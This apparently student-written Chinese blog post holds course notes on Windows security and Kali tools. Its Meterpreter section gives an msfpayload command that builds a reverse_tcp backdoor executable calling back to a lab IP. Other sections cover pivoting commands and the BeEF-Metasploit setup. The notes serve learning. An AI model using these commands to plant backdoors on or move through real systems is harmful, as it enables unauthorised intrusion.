2017-2018-2 20179204《网络攻防实践》第七周学习总结

第1节 教材学习内容总结

本周学习了教材第七章的内容。

1.1 Windows操作系统的基本结构

  • Windows操作系统内核的基本模块包括如下:

    	Windows执行体
    	Windows内核体
    	设备驱动程序
    	硬件抽象层
    	Windows窗口与图形界面接口内核实现代码
    
  • Windows操作系统在用户态的代码模块则包括如下:

    	系统支持进程
    	环境子系统服务进程
    	服务进程
    	用户应用软件
    	核心子系统DLL
    
  • Windows操作系统内核中实现了如下的核心机制:

    	Windows进程和线程管理机制
    	Windows内存管理机制
    	Windows文件管理机制(NTFS)
    	Windows注册表管理机制
    	Windows的网络机制
    

1.2 Windows操作系统的基本结构

  • Windows安全体系结构

Windows操作系统基于引用监控器模型来实现基本的对象安全模型。

  	Windows身份认证机制
  	Windows授权与访问控制机制
  	Windows安全审计机制 
  • Windows的其他安全机制

除了身份认证、授权与访问控制及安全审计这三个基本安全功能特性之外,windows操作系统中还实现了大量其他安全机制。

引入windows安全中心,集成了对于保护windows系统安全稳定运行最为关键的三项安全措施——防火墙、补丁自动更新以及病毒防护

除安全中心外,windows安全特性还包括ipsec加密与验证机制、efs加密文件系统、windows文件保护机制、捆绑的ie浏览器所提供的隐私保护与浏览安全保护机制等。

1.3 Windows远程攻击技术

  	远程口令猜测与破解攻击
  	攻击Windows网络服务
  	攻击Windows客户端及用户
  • Windows系统的安全漏洞生命周期

    	Windows安全漏洞发现、利用与修补过程
    	安全漏洞公开披露信息库:几个知名的通用漏洞信息库:CVE、NVD、SecurityFocus、OSVDB等。
    	针对特定目标的渗透测试攻击过程:①漏洞扫描测试②查找针对发现漏洞的渗透代码③实施渗透测试
    	使用Metasploit软件实施渗透测试
    

Metasploit是完全开源的渗透测试软件。采用开发框架和模块组件的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组件的开发与测试提供平台;模块组件是真正实施渗透攻击的代码。

Metasploit提供了CLI、Console、Web和GUI四种不同的用户交互接口,其中Console终端是比较常用的方式。

具体操作见p247。

  • Windows远程口令猜测与破解攻击

    	远程口令字猜测
    	远程口令字交换通信窃听与破解
    	远程口令猜测与破解防范措施
    
  • Windows网络服务远程渗透攻击

Windows操作系统默认开放135(TCP),137(UDP),139(TCP)与445(TCP)端口,对应的网络服务为MSRPC与过程调用服务,NetBIOS网络基本输入输出系统服务和SMB文件与打印机共享服务。

  针对NetBIOS网络服务的著名漏洞及攻击
  针对SMB网络服务的著名漏洞及攻击
  针对MSRPC网络服务的著名漏洞及攻击
  针对Windows系统上微软网络服务的远程渗透攻击
  针对Windows系统上第三方网络服务的远程渗透攻击
  网络服务远程渗透攻击防范措施

1.4 Windows本地安全攻防技术

  • windows本地特权提升

受限用户权限尝试获得特权账户的攻击技术也被称为特权提升,业内简称为“提权”。Windows系统上进行特权提升的攻击途径主要是通过DLL注入和破解本地程序安全漏洞。

  • windows敏感信息窃取

    	Windows系统口令字密文提取技术 
    	Windows系统口令字破解技术
    	用户敏感数据窃取
    	本地敏感信息窃取
    
  • windows消踪灭迹

    	关闭审计功能
    	清理事件日志
    	针对消踪灭迹的防范措施
    
  • windows远程控制与后门程序

    	命令行远程控制工具
    	图形化远程控制工具
    	针对后门程序的防范措施
    

第2节 课堂测试——windows攻击

使用Metaspoit攻击MS08-067,提交正确得到远程shell过程的截图。








第3节 kali视频(26-30)学习

26.KaliSecurity 漏洞利用之检索与利用

  • searchsploit可以借助关键词搜索漏洞信息以及漏洞对应的exp。
    searchsploit wordpress列出了漏洞和文件地址。

    查看列出的文件,例:
  • ikat自动化开启不同的exp,等待目标访问中招。
  • termineter旨在评估智能电表的安全性。

27.KaliSecurity 漏洞利用之Metasploit基础

Metasploit在渗透测试中经常被用到。这套软件包括了很多工具,这些工具组成了一个完整的攻击框架。

  • 启动服务

在Kali中使用Metasploit,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以利用msf数据库查询exploit和记录。

  • 路径介绍

Kali中msf的路径为/usr/share/metasploit-framework。

Auxiliary:辅助模块

encoders:供msfencode编码工具使用,具体可以使用 msfencode –l但显示命令不存在。

exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。

payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。

post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。

  • 基本命令

msfpayload:用来生成payload或者shellcode。
搜索时可以用msfpayload -l |gre[ "windows"这样的命令查询。-o选项可以列出payload所需的参数。

msfencode:msf中的编码器,早期用来绕过AV(杀毒软件),现常用msfpayload与它编码避免exploit的坏字符串。

msfconsole:开启metasploit的console。
输入msfconsole,打开msf。

  • 测试示例:发现漏洞,搜索exploit

    nmap -sV 172.30.2.73

    可以看到21端口开放的是ftp服务,用的版本是ftpd 5.0。

此版本是否存在漏洞,在msf里搜索一下,发现有匹配项。

28.KaliSecurity 漏洞利用之Meterpreter介绍

  • 生成Meterpreter后门

打开MSF,开启监听(选择exploit/multi/handler)。

命令msfpayload windows/meterpreter/reverse_tcp LHOST=172.30.2.73 LPORT=2333 R | msfencode -t exe -c 5 > /root/door1.exe
在指定目录,生成exe后门。




更新的kali,现在已经没有msfpayload的命令了,换成msfvenom了。里面集成了msfpayload和msfencode,然后将door植到对方主机

29.KaliSecurity 漏洞利用之Metasploit后渗透测试

在跳板获取一定权限后,需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使后续的操作更容易。

  • 查看当前网卡、网段信息(使用ifconfig)。可查看到三个网卡,一个是本地网卡,另一个是我们能访问的网卡,还有一个网卡具有内网IP(访问不到,可以ping以下试试)。
  • 添加路由表run autoroute -s 10.0.0.1。可以使用msf中的模块跨网段攻击或扫描。可通过脚本autoroute快速添加。
  • 开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用。通过代理即可访问内网计算机。
  • 通过background和session -i可以自由切换进入session。
  • 输入run可以看到在meterpreter上可以做的很多命令。
  • 通过run post/可以看到后渗透测试模块。
  • 获取内网信息run arp_scanner -r 10.0.0.1/24
  • 也可以上传文件,做端口转发后进行后续测试,例如upload lcx.exe c:\传送文件到c盘根目录。

30.KaliSecurity 漏洞利用之BeEF

  • 在命令行下启动BeeF,beef-xss

  • 假设被测试主机由于XSS漏洞请求到http://127.0.0.1:3000/demos/basic.html,此时页面左侧就会多出一项在线主机:

  • hook持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在commands模块,我们可以完成很多任务:
    其中四种颜色分别表示:

    	该攻击模块可用,且隐蔽性强
    	该攻击模块可用,但隐蔽性差
    	该用户模块是否可用还有待验证
    	该攻击模块不可用
    
  • 选取misc下的raw javascript模块作为测试用例,右端表格有该模块的详细说明,以及一些可选的参数等。输入javascript code,点击excute进行攻击。在此,输入的是hello world,返回成功!

  • Proxy功能(代理功能)

选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。

  • BeeF默认是不加载Metasploit的,如果要使用Metasploit丰富的攻击模块,需要做些配置。

首先打开beef xss目录:

  cd /usr/share/beef-xss/
  ls
  nano config.yaml  /*编辑一下,可以看到有很多配置信息,包括用户名、密码都可以在这设置,在此将Metasploit的false修改为true */
  clear



保证此处IP等信息设置正确(不适用127.0.0.1,需使用本机IP),并修改Custom路径:

  cd extensions/metasploit/
  ls
  nano config.yaml  

/* 将host和callback_host行的IP修改为本机IP,并修改custom路径为/usr/share/metasploit-framework/ */



配置好后打开msfconsole,运行命令:

  	load msgrpc ServerHost=192.168.199.198 Pass=abc123


执行./beef -x,重新加载Metasploit的exploit模块。加载之后,重启下服务service beef-xss restart

此时再访问以下之前的页面,发现无法连接,稍等片刻,使用默认用户密码登录进去。发现Metasploit下多了许多模块:

posted @ 2018-04-20 22:38  20179204葛鸽  阅读(419)  评论(0编辑  收藏  举报